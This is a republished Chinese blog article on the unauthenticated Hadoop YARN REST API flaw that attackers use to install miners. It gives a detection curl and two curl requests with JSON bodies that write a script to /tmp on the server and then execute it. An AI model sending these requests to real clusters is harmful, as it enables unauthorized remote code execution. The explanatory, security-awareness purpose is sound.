Hadoop Yarn REST API未授权漏洞利用挖矿分析
Posted 会飞的鹅
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Hadoop Yarn REST API未授权漏洞利用挖矿分析相关的知识,希望对你有一定的参考价值。
一、背景
5月5日腾讯云安全团队曾针对“攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码”的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。
二、漏洞说明
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。
YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。
检测方法
curl http://node01:8088/ws/v1/cluster
返回类似如下内容则有可能被攻击
攻击步骤
1、申请新的application
直接通过curl进行POST请求
通过REST API提交任务,向/tmp目录输出接下来要执行的脚本内容
curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @setup.json
setup.json
{
"am-container-spec":{
"commands":{
"command":"echo \'echo 11 > /tmp/time_1.sh\' > /tmp/setup.sh"
}
},
"application-id":"application_1621418758341_0210",
"application-name":"setup",
"application-type":"YARN"
}
在服务器的tmp目录下查看,已经生成该脚本
再次提交任务,执行该脚本
curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @exec.json
exec.json
{
"am-container-spec":{
"commands":{
"command":"sh /tmp/setup.sh"
}
},
"application-id":"application_1621418758341_0211",
"application-name":"exec",
"application-type":"YARN"
}
漏洞警报Hadoop Yarn资源管理系统未授权访问漏洞
你的数据安全么?Hadoop再曝安全漏洞| 黑客利用Hadoop Yarn资源管理系统未授权访问漏洞
首发预警 | 黑客利用Hadoop Yarn资源管理系统未授权访问漏洞进行攻击